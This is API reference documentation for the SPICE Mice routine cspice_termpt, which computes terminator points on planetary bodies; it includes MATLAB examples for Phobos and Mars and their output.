CSPICE_TERMPT finds terminator points on a target body. The terminator
is the set of points of tangency on the target body of planes tangent
to both this body and to a light source. The caller specifies half-planes,
bounded by the illumination source center-target center vector, in
which to search for terminator points.
The terminator can be either umbral or penumbral. The umbral
terminator is the boundary of the region on the target surface
where no light from the source is visible. The penumbral
terminator is the boundary of the region on the target surface
where none of the light from the source is blocked by the target
itself.
The surface of the target body may be represented either by a
triaxial ellipsoid or by topographic data.
Given:
method is a short string providing parameters defining
the computation method to be used. In the syntax
descriptions below, items delimited by angle brackets
"<>" are to be replaced by actual values. Items
delimited by brackets "[]" are optional.
[1,c1] = size(method); char = class(method)
or
[1,1] = size(method); cell = class(method)
`method' may be assigned the following values:
'<shadow>/<curve type>/<shape specification>'
An example of such a string is
'UMBRAL/TANGENT/DSK/UNPRIORITIZED'
In the `method' string
<shadow> may be either of the strings
'UMBRAL' indicates the terminator is the
boundary of the portion of the surface
that receives no light from the
illumination source. The shape of
the source is modeled as a sphere.
'PENUMBRAL' indicates the terminator is the
boundary of the portion of the
surface that receives all possible
light from the illumination source.
The shape of the source is modeled as
a sphere.
The penumbral terminator bounds the
portion of the surface that is not
subject to self-occultation of light
from the illumination source. Given
that the light source is modeled as a
sphere, from any target surface point
nearer to the source than the
penumbral terminator, the source
appears to be a lit disc.
<curve type> may be either of the strings
'TANGENT' for topographic (DSK) target models
indicates that a terminator point is
defined as the point of tangency, on
the surface represented by the
specified data, of a line also tangent
to the illumination source. For
ellipsoidal target models, a
terminator point is a point of
tangency of a plane that is also
tangent to the illumination source.
See the Particulars section below for
details.
Terminator points are generated within a
specified set of "cutting" half-planes
that have as an edge the line containing
the illumination source-target vector.
Multiple terminator points may be found
within a given half-plane, if the target
body shape allows for this.
This is the highest-accuracy method
supported by this subroutine. It
generally executes much more slowly
than the GUIDED method described
below.
'GUIDED' indicates that terminator points are
"guided" so as to lie on rays
emanating from the target body's
center and passing through the
terminator on the target body's
reference ellipsoid. The terminator
points are constrained to lie on the
target body's surface. As with the
'TANGENT' method (see above), cutting
half-planes are used to generate
terminator points.
The GUIDED method produces a unique
terminator point for each cutting
half-plane. If multiple terminator
point candidates lie in a given
cutting half-plane, the outermost one
is chosen.
This method may be used only with the
CENTER aberration correction locus
(see the description of REFLOC below).
Terminator points generated by this
method are approximations; they are
generally not true ray-surface tangent
points. However, these approximations
can be generated much more quickly
than tangent points.
<shape specification> may be either of the strings
'DSK/UNPRIORITIZED[/SURFACES = <surface list>]'
The DSK option indicates that terminator point
computation uses topographic data provided by
DSK files (abbreviated as "DSK data" below) to
model the surface of the target body.
The surface list specification is optional. The
syntax of the list is
<surface 1> [, <surface 2>...]
If present, it indicates that data only for the
listed surfaces are to be used; however, data
need not be available for all surfaces in the
list. If the list is absent, loaded DSK data
for any surface associated with the target body
are used.
The surface list may contain surface names or
surface ID codes. Names containing blanks must
be delimited by double quotes, for example
'SURFACES = "Mars MEGDR 128 PIXEL/DEG"'
If multiple surfaces are specified, their names
or IDs must be separated by commas.
See the Particulars section below for details
concerning use of DSK data.
'ELLIPSOID'
The ELLIPSOID shape option generates terminator
points on the target body's reference
ellipsoid. When the ELLIPSOID shape is
selected, The TANGENT curve option may be used
with any aberration correction locus, while the
GUIDED option may be used only with the CENTER
locus (see the description of REFLOC below).
When the locus is set to 'CENTER', the
'TANGENT' and 'GUIDED' curve options produce
the same results.
Neither case nor white space are significant in
`method', except within double-quoted strings. For
example, the string ' eLLipsoid/tAnGenT ' is valid.
Within double-quoted strings, blank characters are
significant, but multiple consecutive blanks are
considered equivalent to a single blank. Case is
not significant. So
"Mars MEGDR 128 PIXEL/DEG"
is equivalent to
" mars megdr 128 pixel/deg "
but not to
"MARS MEGDR128PIXEL/DEG"
ilusrc is the name of the illumination source. This source
may be any ephemeris object. Case, blanks, and
numeric values are treated in the same way as for the
input `target'.
[1,c2] = size(ilusrc); char = class(ilusrc)
or
[1,1] = size(ilusrc); cell = class(ilusrc)
The shape of the illumination source is considered
to be spherical. The radius of the sphere is the
largest radius of the source's reference ellipsoid.
target is the name of the target body. The target body is
an extended ephemeris object.
[1,c3] = size(target); char = class(target)
or
[1,1] = size(target); cell = class(target)
The string `target' is case-insensitive, and leading
and trailing blanks in `target' are not significant.
Optionally, you may supply a string containing the
integer ID code for the object. For example both
'MOON' and '301' are legitimate strings that indicate
the Moon is the target body.
When the target body's surface is represented by a
tri-axial ellipsoid, this routine assumes that a
kernel variable representing the ellipsoid's radii is
present in the kernel pool. Normally the kernel
variable would be defined by loading a PCK file.
et is the epoch of participation of the observer,
expressed as TDB seconds past J2000 TDB: `et' is
the epoch at which the observer's state is computed.
When aberration corrections are not used, `et' is also
the epoch at which the position and orientation of
the target body are computed.
When aberration corrections are used, the position
and orientation of the target body are computed at
et-lt, where `lt' is the one-way light time between the
aberration correction locus and the observer. The
locus is specified by the input argument `corloc'.
See the descriptions of `abcorr' and `corloc' below for
details.
fixref is the name of a body-fixed reference frame centered
on the target body. `fixref' may be any such frame
supported by the SPICE system, including built-in
frames (documented in the Frames Required Reading)
and frames defined by a loaded frame kernel (FK). The
string `fixref' is case-insensitive, and leading and
trailing blanks in `fixref' are not significant.
[1,c4] = size(fixref); char = class(fixref)
or
[1,1] = size(fixref); cell = class(fixref)
The output terminator points in the array `points' and
the output observer-terminator vectors in the array
`tangts' are expressed relative to this reference frame.
abcorr indicates the aberration corrections to be applied
when computing the target's position and orientation.
Corrections are applied at the location specified by
the aberration correction locus argument `corloc',
which is described below.
[1,c5] = size(abcorr); char = class(abcorr)
or
[1,1] = size(abcorr); cell = class(abcorr)
For remote sensing applications, where apparent
terminator points seen by the observer are desired,
normally either of the corrections
'LT+S'
'CN+S'
should be used. These and the other supported options
are described below. `abcorr' may be any of the
following:
'NONE' Apply no correction. Return the
geometric terminator points on the
target body.
Let `lt' represent the one-way light time between the
observer and the aberration correction locus. The
following values of `abcorr' apply to the "reception"
case in which photons depart from the locus at the
light-time corrected epoch et-lt and *arrive* at the
observer's location at `et':
'LT' Correct for one-way light time (also
called "planetary aberration") using a
Newtonian formulation. This correction
yields the locus at the moment it
emitted photons arriving at the
observer at `et'.
The light time correction uses an
iterative solution of the light time
equation. The solution invoked by the
'LT' option uses one iteration.
Both the target position as seen by the
observer, and rotation of the target
body, are corrected for light time. The
position of the illumination source as
seen from the target is corrected as
well.
'LT+S' Correct for one-way light time and
stellar aberration using a Newtonian
formulation. This option modifies the
locus obtained with the 'LT' option to
account for the observer's velocity
relative to the solar system
barycenter. These corrections yield
points on the apparent terminator.
'CN' Converged Newtonian light time
correction. In solving the light time
equation, the 'CN' correction iterates
until the solution converges. Both the
position and rotation of the target
body are corrected for light time. The
position of the illumination source as
seen from the target is corrected as
well.
'CN+S' Converged Newtonian light time and
stellar aberration corrections. This
option produces a solution that is at
least as accurate at that obtainable
with the 'LT+S' option. Whether the
'CN+S' solution is substantially more
accurate depends on the geometry of the
participating objects and on the
accuracy of the input data. In all
cases this routine will execute more
slowly when a converged solution is
computed.
corloc is a string specifying the aberration correction
locus: the point or set of points for which
aberration corrections are performed.
[1,c6] = size(corloc); char = class(corloc)
or
[1,1] = size(corloc); cell = class(corloc)
`corloc' may be assigned the values:
'CENTER'
Light time and stellar aberration corrections
are applied to the vector from the observer to
the center of the target body. The one way
light time from the target center to the
observer is used to determine the epoch at
which the target body orientation is computed.
 It may also be appropriate
for large, nearly ellipsoidal targets when the
observer is very far from the target.
Computation speed for this option is faster
than for the ELLIPSOID TERMINATOR option.
'ELLIPSOID TERMINATOR'
Light time and stellar aberration corrections
are applied to individual terminator points on
the reference ellipsoid. For a terminator
point on the surface described by topographic
data, lying in a specified cutting half-plane,
the unique reference ellipsoid terminator
point in the same half-plane is used as the
locus of the aberration corrections.
This choice is appropriate for large target
objects for which the light time from the
terminator to the observer is significantly
different from the light time from the target
center to the observer.
Because aberration corrections are repeated
for individual terminator points,
computational speed for this option is
relatively slow.
obsrvr is the name of the observing body. The observing body
is an ephemeris object: it typically is a spacecraft,
the earth, or a surface point on the earth. `obsrvr' is
case-insensitive, and leading and trailing blanks in
`obsrvr' are not significant. Optionally, you may
supply a string containing the integer ID code for
the object. For example both 'MOON' and '301' are
legitimate strings that indicate the Moon is the
observer.
[1,c7] = size(obsrvr); char = class(obsrvr)
or
[1,1] = size(obsrvr); cell = class(obsrvr)
refvec,
rolstp,
ncuts are, respectively, a reference vector, a roll step
angle, and a count of cutting half-planes.
[3,1] = size(refvec); double = class(refvec)
[1,1] = size(rolstp); double = class(rolstp)
[1,1] = size(ncuts); int32 = class(ncuts)
`refvec' defines the first of a sequence of cutting
half-planes in which terminator points are to be found.
Each cutting half-plane has as its edge the line
containing the target-illumination source vector; the
first half-plane contains `refvec'.
`refvec' is expressed in the body-fixed reference frame
designated by `fixref'.
`rolstp' is an angular step by which to roll the cutting
half-planes about the target-illumination source vector,
which we'll call the "axis." The ith half-plane is
rotated from `refvec' about the axis in the
counter-clockwise direction by i*rolstp. Units are
radians. `rolstp' should be set to
2*pi/ncuts
to generate an approximately uniform distribution of
points along the terminator.
`ncuts' is the number of cutting half-planes used to
find terminator points; the angular positions of
consecutive half-planes increase in the positive
(counterclockwise) sense about the axis and are
distributed roughly equally about that vector: each
half-plane has angular separation of approximately
`rolstp' radians
from each of its neighbors. When the aberration
correction locus is set to "CENTER", the angular
separation is the value above, up to round-off.
When the locus is "TANGENT", the separations are
less uniform due to differences in the aberration
corrections used for the respective terminator points.
schstp,
soltol are used only for DSK-based surfaces. These inputs
are, respectively, the search angular step size and
solution convergence tolerance used to find tangent
rays and associated terminator points within each cutting
half plane.
[1,1] = size(schstp); double = class(schstp)
[1,1] = size(soltol); double = class(soltol)
These values are used when the `method'
argument includes the TANGENT option. In this case,
terminator points are found by a two-step search
process:
1) Bracketing: starting with a direction
having sufficiently small angular separation from
the axis, rays emanating from the illumination
source are generated within the half-plane at
successively greater angular separations from the
axis, where the increment of angular separation is
`schstp'. The rays are tested for intersection
with the target surface. When a transition from
non-intersection to intersection is found, the
angular separation of a tangent ray has been
bracketed.
2) Root finding: each time a tangent ray is
bracketed, a search is done to find the angular
separation from the axis at which a tangent ray
exists. The search terminates when successive rays
are separated by no more than `soltol'. When the
search converges, the last ray-surface
intersection point found in the convergence
process is considered to be a terminator point.
`schstp' and `soltol' have units of radians.
Target bodies with simple surfaces---for example,
convex shapes---will have a single terminator point
within each cutting half-plane. For such surfaces,
`schstp' can be set large enough so that only one
bracketing step is taken. A value greater than pi,
for example 4., is recommended.
Target bodies with complex surfaces can have multiple
terminator points within a given cutting half-plane. To
find all terminator points, `schstp' must be set to a
value smaller than the minimum angular separation of any two
terminator points in any cutting half-plane, where the
vertex of the angle is on the illumination source.
`schstp' must not be too small, or the search will be
excessively slow.
For both kinds of surfaces, `soltol' must be chosen so
that the results will have the desired precision.
Note that the choice of `soltol' required to meet a
specified bound on terminator point height errors
depends on the illumination source-target distance.
maxn is the maximum number of terminator points that can
be stored in the output array `points'.
[1,1] = size(maxn); int32 = class(maxn)
the call:
[npts, points, epochs, tangts] = cspice_termpt( method, ilusrc,...
target, et, fixref, abcorr, ...
corloc, obsrvr, refvec, ...
rolstp, ncuts, schstp, ...
soltol, maxn )
returns:
npts is an array of counts of terminator points within
the specified set of cutting half-planes. The Ith
element of `npts' is the terminator point count in the
Ith half-plane.
[1,n] = size(npts); int32 = class(npts)
with n>= maxn
points is an array containing the terminator points found
by this routine.
[3,n] = size(points); double = class(soltol)
with n>= maxn
Terminator points are ordered by the
indices of the half-planes in which they're found. The
terminator points in a given half-plane are ordered by
decreasing angular separation from the illumination
source-target direction; the outermost terminator point
in a given half-plane is the first of that set.
The terminator points for the half-plane containing
`refvec' occupy array elements
points(1,1) through
points(3,npts(1))
Terminator points for the second half plane occupy
elements
points(1,npts(1)+1) through
points(3,npts(1)+npts(2))
and so on.
Terminator points are expressed in the reference
frame designated by `fixref'. For each terminator
point, the orientation of the frame is evaluated at
the epoch corresponding to the terminator point; the
epoch is provided in the output array `epochs'
(described below).
Units of the terminator points are km.
epochs is an array of epochs associated with the terminator
points, accounting for light time if aberration
corrections are used. `epochs' contains one element
for each terminator point.
[1,n] = size(epochs); double = class(epochs)
with n>= maxn
The element
epochs(i)
is associated with the terminator point
points(j,i), j = 1 to 3
If `corloc' is set to 'CENTER', all values of `epochs'
will be the epoch associated with the target body
center. That is, if aberration corrections are used,
and if `lt' is the one-way light time from the target
center to the observer, the elements of `epochs' will
all be set to
et - lt
If `corloc' is set to 'ELLIPSOID TERMINATOR', all
values of `epochs' for the terminator points in a
given half plane will be those for the reference
ellipsoid terminator point in that half plane. That
is, if aberration corrections are used, and if lt(i)
is the one-way light time to the observer from the
reference ellipsoid terminator point in the Ith half
plane, the elements of `epochs' for that half plane
will all be set to
et - lt(i)
tangts is an array of vectors connecting the observer to the
terminator points. The terminator vectors are expressed
in the frame designated by `fixref'. For the Ith
vector, the orientation of the frame is evaluated at
the Ith epoch provided in the output array `epochs'
(described above).
[3,n] = size(tangts); double = class(tangts)
with n>= maxn
The elements
tangts(j,i), j = 1 to 3
are associated with the terminator point
points(j,i), j = 1 to 3
Units of the terminator vectors are km.
Any numerical results shown for this example may differ between
platforms as the results depend on the SPICE kernels used as input
and the machine specific arithmetic implementation.
Example(1):
Find apparent terminator points on Phobos as seen from Mars.
Use the "umbral" shadow definition.
Due to Phobos' irregular shape, the TANGENT terminator point
definition will be used. It suffices to compute light time and
stellar aberration corrections for the center of Phobos, so
the CENTER aberration correction locus will be used. Use
converged Newtonian light time and stellar aberration
corrections in order to model the apparent position and
orientation of Phobos.
For comparison, compute terminator points using both ellipsoid
and topographic shape models.
Use the target body-fixed +Z axis as the reference direction
for generating cutting half-planes. This choice enables the
user to see whether the first terminator point is near the
target's north pole.
For each option, use just three cutting half-planes in order
to keep the volume of output manageable. In most applications,
the number of cuts and the number of resulting terminator
points would be much greater.
Use the meta-kernel below to load the required SPICE
kernels.
KPL/MK
File: limbpt_ex1.tm
This meta-kernel is intended to support operation of SPICE
example programs. The kernels shown here should not be
assumed to contain adequate or correct versions of data
required by SPICE-based user applications.
In order for an application to use this meta-kernel, the
kernels referenced here must be present in the user's
current working directory.
The names and contents of the kernels referenced
by this meta-kernel are as follows:
File name Contents
--------- --------
de430.bsp Planetary ephemeris
mar097.bsp Mars satellite ephemeris
pck00010.tpc Planet orientation and
radii
naif0011.tls Leapseconds
phobos512.bds DSK based on
Gaskell ICQ Q=512
Phobos plate model
\begindata
PATH_SYMBOLS = 'GEN'
PATH_VALUES = '/ftp/pub/naif/generic_kernels'
KERNELS_TO_LOAD = ( 'de430.bsp',
'mar097.bsp',
'pck00010.tpc',
'naif0011.tls',
'$GEN/dsk/phobos/phobos512.bds' )
\begintext
function termpt_t
MAXN = 10000;
method = { 'UMBRAL/TANGENT/ELLIPSOID', ...
'UMBRAL/TANGENT/DSK/UNPRIORITIZED' };
z = [ 0.0, 0.0, 1.0 ]';
%
% Load kernel files via the meta-kernel.
%
cspice_furnsh( 'termpt_t.tm' )
%
% Set illumination source, target, observer,
% and target body-fixed, body-centered reference frame.
%
ilusrc = 'SUN';
obsrvr = 'MARS';
target = 'PHOBOS';
fixref = 'IAU_PHOBOS';
%
% Set aberration correction and correction locus.
%
abcorr = 'CN+S';
corloc = 'CENTER';
%
% Convert the UTC request time string to seconds past
% J2000, TDB.
%
et = cspice_str2et( '2008 AUG 11 00:00:00' );
%
% Compute a set of terminator points using light
% time and stellar aberration corrections. Use
% both ellipsoid and DSK shape models. Use an
% angular step size corresponding to a height of
% about 100 meters to ensure we don't miss the
% terminator. Set the convergence tolerance to limit
% the height convergence error to about 1 meter.
% Compute 3 terminator points for each computation
% method.
%
% Get the approximate light source-target distance
% at ET. We'll ignore the observer-target light
% time for this approximation.
%
[pos, lt] = cspice_spkpos( ilusrc, et, 'J2000', abcorr, target );
dist = norm( pos );
schstp = 1.0e-1 / dist;
soltol = 1.0e-3 / dist;
ncuts = 3;
fprintf ( ['\n' ...
'Light source: %s\n' ...
'Observer: %s\n' ...
'Target: %s\n' ...
'Frame: %s\n' ...
'\n' ...
'Number of cuts: %d\n' ], ...
char(ilusrc), ...
char(obsrvr), ...
char(target), ...
char(fixref), ...
ncuts );
delrol = cspice_twopi()/ ncuts;
for i = 1:numel(method)
[npts, points, trgeps, tangts] = cspice_termpt( method(i),...
ilusrc, target, et, fixref, ...
abcorr, corloc, obsrvr, z, ...
delrol, ncuts, schstp, ...
soltol, MAXN);
%
% Write the results.
%
fprintf ( ['\n' ...
'Computation method = %s\n' ...
'Locus = %s\n' ...
'\n'], ...
char(method(i)), ...
corloc )
strt = 0;
for j = 1:ncuts
roll = (j-1) * delrol;
fprintf( [ '\n' ...
' Roll angle (deg) = %17.9f\n' ...
' Target epoch = %17.9f\n' ...
' Number of terminator points ' ...
'at this roll angle: %d\n'], ...
roll * cspice_dpr(), ...
trgeps(j), ...
npts(j) )
fprintf( ' Terminator points:\n' )
for k = 1:npts(j)
fprintf( ' %20.9f %20.9f %20.9f\n', points(1:3, k+strt) );
end
strt = npts(j) + strt;
end
end
fprintf( '\n' )
Matlab outputs:
Light source: SUN
Observer: MARS
Target: PHOBOS
Frame: IAU_PHOBOS
Number of cuts: 3
Computation method = UMBRAL/TANGENT/ELLIPSOID
Locus = CENTER
Roll angle (deg) = 0.000000000
Target epoch = 271684865.152078211
Number of terminator points at this roll angle: 1
Terminator points:
2.010972609 4.940189426 8.079440845
Roll angle (deg) =<PHONE_NUMBER>00
Target epoch = 271684865.152078211
Number of terminator points at this roll angle: 1
Terminator points:
-11.094156190 0.078493393 -4.743071402
Roll angle (deg) =<PHONE_NUMBER>00
Target epoch = 271684865.152078211
Number of terminator points at this roll angle: 1
Terminator points:
8.165936806 -6.165700043 -5.090383970
Computation method = UMBRAL/TANGENT/DSK/UNPRIORITIZED
Locus = CENTER
Roll angle (deg) = 0.000000000
Target epoch = 271684865.152078211
Number of terminator points at this roll angle: 1
Terminator points:
1.626396122 3.995432317 8.853689531
Roll angle (deg) =<PHONE_NUMBER>00
Target epoch = 271684865.152078211
Number of terminator points at this roll angle: 1
Terminator points:
-11.186659739 -0.142366278 -4.646137201
Roll angle (deg) =<PHONE_NUMBER>00
Target epoch = 271684865.152078211
Number of terminator points at this roll angle: 1
Terminator points:
9.338447077 -6.091352469 -5.960849305
Example(2):
Find apparent terminator points on Mars as seen from the
earth.
Use both the "umbral" and "penumbral" shadow definitions. Use
only ellipsoid shape models for easier comparison. Find
distances between corresponding terminator points on the
umbral and penumbral terminators.
Use the ELLIPSOID TERMINATOR aberration correction locus
in order to perform separate aberration corrections for
each terminator point. Because of the large size of Mars,
corrections for the target center are less accurate.
For each option, use just three cutting half-planes in order
to keep the volume of output manageable. In most applications,
the number of cuts and the number of resulting terminator
points would be much greater.
Use the meta-kernel below to load the required SPICE
kernels.
KPL/MK
File: termpt_ex2.tm
This meta-kernel is intended to support operation of SPICE
example programs. The kernels shown here should not be
assumed to contain adequate or correct versions of data
required by SPICE-based user applications.
In order for an application to use this meta-kernel, the
kernels referenced here must be present in the user's
current working directory.
The names and contents of the kernels referenced
by this meta-kernel are as follows:
File name Contents
--------- --------
de430.bsp Planetary ephemeris
mar097.bsp Mars satellite ephemeris
pck00010.tpc Planet orientation and
radii
naif0011.tls Leapseconds
megr90n000cb_plate.bds Plate model based on
MEGDR DEM, resolution
4 pixels/degree.
\begindata
KERNELS_TO_LOAD = ( 'de430.bsp',
'mar097.bsp',
'pck00010.tpc',
'naif0011.tls',
'megr90n000cb_plate.bds' )
\begintext
function termpt_t2
META = 'termpt_t2.tm';
MAXN = 10000;
corloc = { 'ELLIPSOID TERMINATOR', 'ELLIPSOID TERMINATOR' };
ilumth = { 'ELLIPSOID', 'ELLIPSOID' };
method = { 'UMBRAL/TANGENT/ELLIPSOID', ...
'PENUMBRAL/TANGENT/ELLIPSOID' };
z = [ 0.0, 0.0, 1.0 ]';
%
% Load kernel files via the meta-kernel.
%
cspice_furnsh( META )
%
% Set illumination source, target, observer,
% and target body-fixed, body-centered reference frame.
%
ilusrc = 'SUN';
obsrvr = 'EARTH';
target = 'MARS';
fixref = 'IAU_MARS';
%
% Set the aberration correction.
%
abcorr = 'CN+S';
%
% Convert the UTC request time string to seconds past
% J2000, TDB.
%
et = cspice_str2et( '2008 AUG 11 00:00:00' );
%
% Look up the target body's radii. We'll use these to
% convert Cartesian to planetographic coordinates. Use
% the radii to compute the flattening coefficient of
% the reference ellipsoid.
%
radii = cspice_bodvrd( target, 'RADII', 3 );
%
% Compute the flattening coefficient for planetodetic
% coordinates
%
re = radii(1);
rp = radii(3);
f = ( re - rp ) / re;
%
% Get the radii of the illumination source as well.
% We'll use these radii to compute the angular radius
% of the source as seen from the terminator points.
%
srcrad = cspice_bodvrd( ilusrc, 'RADII', 3 );
%
% Compute a set of terminator points using light time and
% stellar aberration corrections. Use both ellipsoid
% and DSK shape models.
%
% Get the approximate light source-target distance
% at ET. We'll ignore the observer-target light
% time for this approximation.
[ilupos, lt] = cspice_spkpos( ilusrc, et, fixref, abcorr, target );
dist = cspice_vnorm( ilupos );
%
% Set the angular step size so that a single step will
% be taken in the root bracketing process; that's all
% that is needed since we don't expect to have multiple
% terminator points in any cutting half-plane.
%
schstp = 4.0;
%
% Set the convergence tolerance to minimize the
% height error. We can't achieve the precision
% suggested by the formula because the sun-Mars
% distance is about 2.4e8 km. Compute 3 terminator
% points for each computation method.
%
soltol = 1.e-7/dist;
%
% Set the number of cutting half-planes and roll step.
%
ncuts = 3;
delrol = cspice_twopi() / ncuts;
fprintf( ['\n' ...
'Light source: %s\n' ...
'Observer: %s\n' ...
'Target: %s\n' ...
'Frame: %s\n' ...
'\n' ...
'Number of cuts: %d\n'], ...
ilusrc, ...
obsrvr, ...
target, ...
fixref, ...
ncuts );
delrol = cspice_twopi() / ncuts;
for i = 1:numel(method)
[npts, points, trgeps, tangts] = cspice_termpt( method(i), ...
ilusrc, target, et, ...
fixref, abcorr, corloc(i), obsrvr, ...
z, delrol, ncuts, schstp, ...
soltol, MAXN );
%
% Write the results.
%
fprintf(['\n\n' ...
'Computation method = %s\n' ...
'Locus = %s\n'], ...
char(method(i)), ...
char(corloc(i)) );
start = 0;
for j = 1:ncuts
roll = (j-1) * delrol;
fprintf(['\n' ...
' Roll angle (deg) = %17.9f\n' ...
' Target epoch = %17.9f\n' ...
' Number of terminator points at ' ...
'this roll angle: %d\n'], ...
roll * cspice_dpr(), ...
trgeps(j), ...
npts(j) );
for k = 1:npts(j)
fprintf( [' Terminator point planetodetic ' ...
'coordinates:\n'] );
m = k+start;
[lon, lat, alt] = cspice_recgeo( points(1:3, m), re, f );
fprintf([' Longitude (deg): %20.9f\n' ...
' Latitude (deg): %20.9f\n' ...
' Altitude (km): %20.9f\n'],...
lon * cspice_dpr(), ...
lat * cspice_dpr(), ...
alt );
%
% Get illumination angles for this terminator point.
%
[trgepc, srfvec, phase, solar, emissn ] = ...
cspice_illumg ( ilumth(i), target, ilusrc, et, ...
fixref, abcorr, obsrvr, ...
points(1:3, m) );
fprintf( ' Incidence angle (deg): %20.9f\n', ...
solar * cspice_dpr() );
%
% Adjust the incidence angle for the angular
% radius of the illumination source. Use the
% epoch associated with the terminator point
% for this lookup.
%
[tptilu, lt] = cspice_spkpos( ilusrc, trgeps(m), fixref, ...
abcorr, target);
dist = cspice_vnorm( tptilu );
angsrc = asin( max( srcrad ) / dist );
if i == 1
%
% For points on the umbral terminator,
% the ellipsoid outward normal is tilted
% away from the terminator-source center
% direction by the angular radius of the
% source. Subtract this radius from the
% illumination incidence angle to get the
% angle between the local normal and the
% direction to the corresponding tangent
% point on the source.
%
adjang = solar - angsrc;
else
%
% For the penumbral case, the outward
% normal is tilted toward the illumination
% source by the angular radius of the
% source. Adjust the illumination
% incidence angle for this.
%
adjang = solar + angsrc;
end
fprintf( ' Adjusted angle (deg): %20.9f\n', ...
adjang * cspice_dpr() );
if i == 1
%
% Save terminator points for comparison.
%
svpnts(1:3,m) = points(1:3,m);
else
%
% Compare terminator points with last
% saved values.
%
dist = cspice_vdist( points(1:3,m), svpnts(1:3,m) );
fprintf( ' Distance offset (km): %20.9f\n', dist );
end
end
start = start + npts(j);
end
end
fprintf( '\n' );
Matlab outputs:
Light source: SUN
Observer: EARTH
Target: MARS
Frame: IAU_MARS
Number of cuts: 3
Computation method = UMBRAL/TANGENT/ELLIPSOID
Locus = ELLIPSOID TERMINATOR
Roll angle (deg) = 0.000000000
Target epoch = 271683700.369686961
Number of terminator points at this roll angle: 1
Terminator point planetodetic coordinates:
Longitude (deg): 4.189318082
Latitude (deg): 66.416480232
Altitude (km): 0.000000000
Incidence angle (deg): 90.163495329
Adjusted angle (deg): 89.999652424
Roll angle (deg) =<PHONE_NUMBER>00
Target epoch = 271683700.372003794
Number of terminator points at this roll angle: 1
Terminator point planetodetic coordinates:
Longitude (deg):<PHONE_NUMBER>61
Latitude (deg): -27.604369253
Altitude (km): 0.000000000
Incidence angle (deg): 90.163695259
Adjusted angle (deg): 89.999852354
Roll angle (deg) =<PHONE_NUMBER>00
Target epoch = 271683700.364983678
Number of terminator points at this roll angle: 1
Terminator point planetodetic coordinates:
Longitude (deg): -98.696194105
Latitude (deg): -27.604306943
Altitude (km): 0.000000000
Incidence angle (deg): 90.163557125
Adjusted angle (deg): 89.999714220
Computation method = PENUMBRAL/TANGENT/ELLIPSOID
Locus = ELLIPSOID TERMINATOR
Roll angle (deg) = 0.000000000
Target epoch = 271683700.369747460
Number of terminator points at this roll angle: 1
Terminator point planetodetic coordinates:
Longitude (deg): 4.189317837
Latitude (deg): 66.744220775
Altitude (km): 0.000000000
Incidence angle (deg): 89.835754787
Adjusted angle (deg): 89.999597692
Distance offset (km): 19.486848029
Roll angle (deg) =<PHONE_NUMBER>00
Target epoch = 271683700.372064054
Number of terminator points at this roll angle: 1
Terminator point planetodetic coordinates:
Longitude (deg):<PHONE_NUMBER>20
Latitude (deg): -27.456375067
Altitude (km): 0.000000000
Incidence angle (deg): 89.835973222
Adjusted angle (deg): 89.999816127
Distance offset (km): 19.413571668
Roll angle (deg) =<PHONE_NUMBER>00
Target epoch = 271683700.365043938
Number of terminator points at this roll angle: 1
Terminator point planetodetic coordinates:
Longitude (deg): -99.025849383
Latitude (deg): -27.456352441
Altitude (km): 0.000000000
Incidence angle (deg): 89.835923040
Adjusted angle (deg): 89.999765945
Distance offset (km): 19.408359649
Using DSK data
==============
DSK loading and unloading
-------------------------
DSK files providing data used by this routine are loaded by
calling cspice_furnsh and can be unloaded by calling cspice_unload or
cspice_kclear. See the documentation of cspice_furnsh for limits on
numbers of loaded DSK files.
For run-time efficiency, it's desirable to avoid frequent
loading and unloading of DSK files. When there is a reason to
use multiple versions of data for a given target body---for
example, if topographic data at varying resolutions are to be
used---the surface list can be used to select DSK data to be
used for a given computation. It is not necessary to unload
the data that are not to be used. This recommendation presumes
that DSKs containing different versions of surface data for a
given body have different surface ID codes.
DSK data priority
-----------------
A DSK coverage overlap occurs when two segments in loaded DSK
files cover part or all of the same domain---for example, a
given longitude-latitude rectangle---and when the time
intervals of the segments overlap as well.
When DSK data selection is prioritized, in case of a coverage
overlap, if the two competing segments are in different DSK
files, the segment in the DSK file loaded last takes
precedence. If the two segments are in the same file, the
segment located closer to the end of the file takes
precedence.
When DSK data selection is unprioritized, data from competing
segments are combined. For example, if two competing segments
both represent a surface as sets of triangular plates, the
union of those sets of plates is considered to represent the
surface.
Currently only unprioritized data selection is supported.
Because prioritized data selection may be the default behavior
in a later version of the routine, the UNPRIORITIZED keyword is
required in the `method' argument.
Syntax of the `method' input argument
-------------------------------------
The keywords and surface list in the `method' argument
are called "clauses." The clauses may appear in any
order, for example
UMBRAL/TANGENT/DSK/UNPRIORITIZED/<surface list>
DSK/UMBRAL/TANGENT/<surface list>/UNPRIORITIZED
UNPRIORITIZED/<surface list>/DSK/TANGENT/UMBRAL
The simplest form of the `method' argument specifying use of
DSK data is one that lacks a surface list, for example:
'PENUMBRAL/TANGENT/DSK/UNPRIORITIZED'
'UMBRAL/GUIDED/DSK/UNPRIORITIZED'
For applications in which all loaded DSK data for the target
body are for a single surface, and there are no competing
segments, the above strings suffice. This is expected to be
the usual case.
When, for the specified target body, there are loaded DSK
files providing data for multiple surfaces for that body, the
surfaces to be used by this routine for a given call must be
specified in a surface list, unless data from all of the
surfaces are to be used together.
The surface list consists of the string
SURFACES =
followed by a comma-separated list of one or more surface
identifiers. The identifiers may be names or integer codes in
string format. For example, suppose we have the surface
names and corresponding ID codes shown below:
Surface Name ID code
------------ -------
"Mars MEGDR 128 PIXEL/DEG" 1
"Mars MEGDR 64 PIXEL/DEG" 2
"Mars_MRO_HIRISE" 3
If data for all of the above surfaces are loaded, then
data for surface 1 can be specified by either
'SURFACES = 1'
or
'SURFACES = "Mars MEGDR 128 PIXEL/DEG"'
Double quotes are used to delimit the surface name because
it contains blank characters.
To use data for surfaces 2 and 3 together, any
of the following surface lists could be used:
'SURFACES = 2, 3'
'SURFACES = "Mars MEGDR 64 PIXEL/DEG", 3'
'SURFACES = 2, Mars_MRO_HIRISE'
'SURFACES = "Mars MEGDR 64 PIXEL/DEG", Mars_MRO_HIRISE'
An example of a `method' argument that could be constructed
using one of the surface lists above is
'NADIR/DSK/UNPRIORITIZED/SURFACES= "Mars MEGDR 64 PIXEL/DEG",3'
For important details concerning this module's function, please refer to
the CSPICE routine termpt_c.
MICE.REQ
CK.REQ
DSK.REQ
FRAMES.REQ
NAIF_IDS.REQ
PCK.REQ
SPK.REQ
TIME.REQ
-Mice Version 1.0.0, 15-DEC-2016, EDW (JPL), NJB (JPL), ML (JPL)
find terminator points on target body
|


OS Sim (Operating Systems Concepts Simulator) is an
